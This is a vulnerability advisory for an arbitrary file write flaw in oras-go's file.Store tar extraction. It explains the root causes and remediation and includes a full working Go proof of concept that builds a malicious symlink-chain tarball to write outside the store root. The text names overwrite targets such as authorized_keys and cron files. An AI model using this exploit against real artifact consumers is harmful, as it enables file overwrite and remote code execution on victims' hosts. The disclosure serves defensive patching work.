CVE-2026-85731: oras-go: Arbitrary file write outside file.Store root via symlink-chain bypass in tar extraction (pushDir)

### Summary The `content/file.Store` in oras-go v2 unpacks OCI layer tarballs when a descriptor carries `io.deis.oras.content.unpack=true`. The extraction routine validates symlink targets purely lexically (`filepath.Join`) and, for regular files placed directly at the extraction root, skips the parent-symlink `Lstat` walk. A malicious tarball can plant a chain of symlinks whose lexical target stays inside the extraction root but whose kernel-resolved target is any absolute path, then write through it with a follow-up regular-file entry. The result is arbitrary file create/overwrite outside the store's working directory under the default `AllowPathTraversalOnWrite=false` configuration — a canonical tar-slip → RCE primitive. ### Details **Affected versions:** `<= v2.6.1` **Entry point:** `content/file/file.go` line 486, `(*Store).pushDir` — reached from `(*Store).Push` for any descriptor whose annotations include `io.deis.oras.content.unpack: "true"` (i.e. `file.AnnotationUnpack`) and an `org.opencontainers.image.title`. `oras.Copy` from a remote registry into a `file.New(dir)` store invokes this per layer. **Root cause 1 — lexical link validation.** `content/file/utils.go` lines 264–275, `ensureLinkPath`: ```go func ensureLinkPath(baseAbs, baseRel, link, target string) (string, error) { // resolve link path := target if !filepath.IsAbs(target) { path = filepath.Join(filepath.Dir(link), target) } // ensure path is under baseAbs or baseRel if _, err := resolveRelToBase(baseAbs, baseRel, path); err != nil { return "", err } return target, nil } ``` `filepath.Join` cleans `..` components textually and does **not** dereference symlinks in intermediate components. It therefore cannot detect that a component of `target` is itself a previously-extracted symlink that the kernel will follow before applying subsequent `..` components. **Root cause 2 — parent-symlink check skipped for root-level entries.** `content/file/utils.go` lines 247–257, inside `resolveRelToBase`: ```go // No symbolic link allowed in the relative path dir := filepath.Dir(path) for dir != "." { if info, err := os.Lstat(filepath.Join(baseAbs, dir)); err != nil { ... } else if info.Mode()&os.ModeSymlink != 0 { return "", fmt.Errorf("no symbolic link allowed between %q and %q", baseRel, target) } dir = filepath.Dir(dir) } ``` For an entry named `<title>/escape`, `path == "escape"` and `filepath.Dir("escape") == "."`, so the loop body never executes — the entry itself is never `Lstat`-checked. **Root cause 3 — write follows symlinks.** `content/file/utils.go` line 279, `writeFile`: ```go file, err := os.OpenFile(path, os.O_WRONLY|os.O_CREATE|os.O_TRUNC, perm) ``` No `O_NOFOLLOW`, so if `path` is a symlink the write goes to its target. **Data flow / exploit construction.** Let `baseAbs = <workingDir>/<title>` and `N = depth(baseAbs)` (number of path components from `/`). The attacker's tar.gz contains, in order: 1. `N` nested directories `<title>/d0/d1/…/d{N-1}`. 2. A symlink `<title>/d0/…/d{N-1}/up` → `"../../…"` (`N` levels). Both lexically and on disk this resolves to `baseAbs`, so `ensureLinkPath` accepts it and `resolveRelToBase` sees only real directories in its ancestry. 3. A symlink `<title>/escape` → `"d0/…/d{N-1}/up/../../…/<absTarget>"` (`N` `..` components after `up`). **Lexically**, `filepath.Join(baseAbs, "d0/…/up/../…/<absTarget>")` cancels the `N` `..` against `up` plus `d{N-2}…d0`, yielding `baseAbs/d0/<absTarget>` — inside the root, so `ensureLinkPath` accepts it. `resolveRelToBase` then walks `d0/<absTarget-parents>`, none of which are symlinks (they don't exist), so the link is created. **At the kernel**, resolving `baseAbs/d0/…/up` first follows `up` back to `baseAbs`, and the remaining `N` `..` components climb from `baseAbs` to `/`, then `<absTarget>` is appended — the symlink points at the attacker-chosen absolute path. 4. A regular file `<title>/escape` (same name). `resolveRelToBase("escape")` yields `dir == "."` (root cause 2), so no `Lstat` is performed. `extractTarDirectory` (line 181) calls `writeFile` which opens `baseAbs/escape` with `O_TRUNC` and no `O_NOFOLLOW` (root cause 3), writing the attacker's payload through the symlink to `<absTarget>`. **Why v2.6.1's `checkSymlinkEscape` does not help.** The fix for GHSA-8xwf-rjm4-xvhv added a symlink-resolving containment check, but it is called only from `resolveWritePath` (`content/file/file.go` line 632) on the **`pushFile`** path. `pushDir` → `extractTarGzip` → `extractTarDirectory` never calls it; `content/file/utils.go` is byte-identical between v2.6.0 and v2.6.1. **Suggested remediation.** Any of: (a) `Lstat` the final path component before opening for write and reject symlinks; (b) open with `O_NOFOLLOW` (or `O_EXCL` for new files); (c) resolve link targets with `filepath.EvalSymlinks` on the deepest existing ancestor (as `checkSymlinkEscape` already does) instead of lexical `filepath.Join`; (d) extract into a fresh empty directory and use `openat2(RESOLVE_BENEATH)` / `os.Root` (Go 1.24+) for all filesystem operations. ### PoC ``` go mod init poc go get oras.land/oras-go/[email protected] go run . ``` ```go // Arbitrary file write outside a default-configured file.Store via // symlink-chain bypass in content/file.extractTarDirectory. // // ensureLinkPath() validates symlink targets purely lexically with // filepath.Join, which collapses ".." textually and does not follow // intermediate symlink components. By first planting a deep "up" symlink // that legitimately resolves to the extraction root, an "escape" symlink // can be crafted whose lexical target stays in-bounds but whose // kernel-resolved target is any absolute path. A follow-up TypeReg entry // with the same name is opened with O_CREATE|O_TRUNC (no O_NOFOLLOW), // writing through the symlink. // // Realistic trigger: oras.Copy() from an untrusted registry into a // file.New() store. The attacker controls the manifest (sets // AnnotationTitle + AnnotationUnpack=true on a layer) and the layer blob. // All digests are honest, so content verification passes. package main import ( "archive/tar" "bytes" "compress/gzip" "context" _ "crypto/sha256" "fmt" "os" "path/filepath" "strings" "github.com/opencontainers/go-digest" ocispec "github.com/opencontainers/image-spec/specs-go/v1" "oras.land/oras-go/v2/content/file" ) func main() { if err := run(); err != nil { fmt.Println("ERROR:", err) os.Exit(1) } } func run() error { ctx := context.Background() // Victim's working directory for the file store. workDir, err := os.MkdirTemp("", "oras-victim-*") if err != nil { return err } defer os.RemoveAll(workDir) fmt.Println("[*] file.Store working dir:", workDir) // Target path the attacker wants to write, OUTSIDE workDir. // (Could be ~/.ssh/authorized_keys, ~/.bashrc, /etc/cron.d/x, etc.; // a temp path keeps the demo self-contained.) outsidePath := filepath.Join(os.TempDir(), "oras-PWNED") _ = os.Remove(outsidePath) defer os.Remove(outsidePath) fmt.Println("[*] attacker target (outside workDir):", outsidePath) // The layer's AnnotationTitle. extractTarDirectory uses this as both the // in-tar prefix and the on-disk subdir under workDir. const title = "out" baseAbs := filepath.Join(workDir, title) // N nested dirs + a symlink "up" -> N*"../" so that after the kernel // follows "up" (landing at baseAbs) the remaining N lexical ".." // components climb from baseAbs to "/". N must be >= depth(baseAbs). depth := len(strings.Split(strings.Trim(filepath.ToSlash(baseAbs), "/"), "/")) fmt.Printf("[*] baseAbs depth = %d, building %d nested dirs\n", depth, depth) gz, dgst, size, err := buildMaliciousLayer(title, depth, outsidePath) if err != nil { return err } // Descriptor exactly as it would appear in a manifest's "layers" array. desc := ocispec.Descriptor{ MediaType: "application/vnd.oci.image.layer.v1.tar+gzip", Digest: dgst, Size: size, Annotations: map[string]string{ ocispec.AnnotationTitle: title, file.AnnotationUnpack: "true", }, } // Victim creates a file store with default settings (path traversal DISALLOWED). store, err := file.New(workDir) if err != nil { return err } defer store.Close() fmt.Println("[*] store.AllowPathTraversalOnWrite =", store.AllowPathTraversalOnWrite) // This is exactly what oras.Copy() invokes per layer. if err := store.Push(ctx, desc, bytes.NewReader(gz)); err != nil { return fmt.Errorf("Push: %w", err) } // Check whether the out-of-tree file was written. if data, err := os.ReadFile(outsidePath); err == nil { rel, _ := filepath.Rel(workDir, outsidePath) fmt.Printf("\n[!] BYPASS: wrote %q to %s\n", string(data), outsidePath) fmt.Printf("[!] relative to workDir: %s\n", rel) fmt.Println("[!] PATH TRAVERSAL CONFIRMED - file written OUTSIDE file.Store working dir") return nil } fmt.Println("\n[-] no escape (file not created at", outsidePath, ")") return nil } // buildMaliciousLayer builds a tar.gz that, when extracted by // content/file.extractTarDirectory under <workDir>/<title>, writes to outsidePath. func buildMaliciousLayer(title string, depth int, outsidePath string) ([]byte, digest.Digest, int64, error) { var buf bytes.Buffer gzw := gzip.NewWriter(&buf) tw := tar.NewWriter(gzw) // 1. Nested directories: title/d0/d1/.../d{depth-1} dirs := make([]string, depth) for i := 0; i < depth; i++ { dirs[i] = fmt.Sprintf("d%d", i) } for i := 1; i <= depth; i++ { name := title + "/" + strings.Join(dirs[:i], "/") if err := tw.WriteHeader(&tar.Header{Typeflag: tar.TypeDir, Name: name, Mode: 0o755}); err != nil { return nil, "", 0, err } } // 2. "up" symlink at the bottom, pointing back to baseAbs via depth*"../". // Lexically AND on disk this resolves to baseAbs - passes ensureLinkPath. upName := title + "/" + strings.Join(dirs, "/") + "/up" upTarget := strings.Repeat("../", depth-1) + ".." if err := tw.WriteHeader(&tar.Header{Typeflag: tar.TypeSymlink, Name: upName, Linkname: upTarget, Mode: 0o777}); err != nil { return nil, "", 0, err } // 3. "escape" symlink at title/escape. // Target = d0/.../d{N-1}/up/../.. (N times) /<outsidePath> // LEXICAL clean: the N ".." cancel "up" + (N-1) dirs, leaving // d0/<outsidePath> - INSIDE baseAbs, so ensureLinkPath accepts it. // KERNEL: d0/.../up follows the symlink to baseAbs, then N*".." // climbs to "/", then appends outsidePath. dots := strings.Repeat("../", depth-1) + ".." escapeTarget := strings.Join(dirs, "/") + "/up/" + dots + outsidePath if err := tw.WriteHeader(&tar.Header{Typeflag: tar.TypeSymlink, Name: title + "/escape", Linkname: escapeTarget, Mode: 0o777}); err != nil { return nil, "", 0, err } // 4. Regular file entry at title/escape - same path as the symlink. // resolveRelToBase("escape") has dir=="." so the per-component Lstat // loop never runs; writeFile opens with O_CREATE|O_TRUNC (no // O_NOFOLLOW) and writes through the symlink to outsidePath. payload := []byte("PWNED-BY-ORAS-TARSLIP") if err := tw.WriteHeader(&tar.Header{Typeflag: tar.TypeReg, Name: title + "/escape", Mode: 0o644, Size: int64(len(payload))}); err != nil { return nil, "", 0, err } if _, err := tw.Write(payload); err != nil { return nil, "", 0, err } if err := tw.Close(); err != nil { return nil, "", 0, err } if err := gzw.Close(); err != nil { return nil, "", 0, err } data := buf.Bytes() return data, digest.FromBytes(data), int64(len(data)), nil } ``` Expected output (paths vary): ``` [*] file.Store working dir: /tmp/oras-victim-209731351 [*] attacker target (outside workDir): /tmp/oras-PWNED [*] baseAbs depth = 3, building 3 nested dirs [*] store.AllowPathTraversalOnWrite = false [!] BYPASS: wrote "PWNED-BY-ORAS-TARSLIP" to /tmp/oras-PWNED [!] relative to workDir: ../oras-PWNED [!] PATH TRAVERSAL CONFIRMED - file written OUTSIDE file.Store working dir ``` ### Impact **Who is affected:** Any application that pulls or pushes OCI artifacts from an untrusted or attacker-influenced source into a `content/file.Store` — e.g. `oras.Copy(ctx, remoteRepo, ref, file.New(dir), ref, opts)`, the documented primary use of the file store — with default settings (`AllowPathTraversalOnWrite=false`, `SkipUnpack=false`). Downstream consumers include the ORAS CLI (`oras pull` to a directory) and tools built on oras-go that materialise artifact contents on disk. **What the attacker gains:** Arbitrary file create/overwrite anywhere writable by the pulling process. Practical escalations include overwriting `~/.ssh/authorized_keys`, `~/.bashrc`/`~/.profile`, Git hooks, or (when running as root, e.g. in CI or a controller) `/etc/cron.d/*` or binaries on `$PATH` — i.e. remote code execution on the victim host. **Preconditions / reachability:** No local preconditions beyond pulling an attacker-controlled artifact; the attacker does **not** need any pre-existing symlink in the victim's working directory (unlike GHSA-8xwf-rjm4-xvhv / CVE-2026-50162, which this issue is distinct from). The attack is delivered over the network via a registry the victim pulls from; no authentication to the victim is required. User interaction is limited to the victim choosing to pull the artifact (`UI:R`).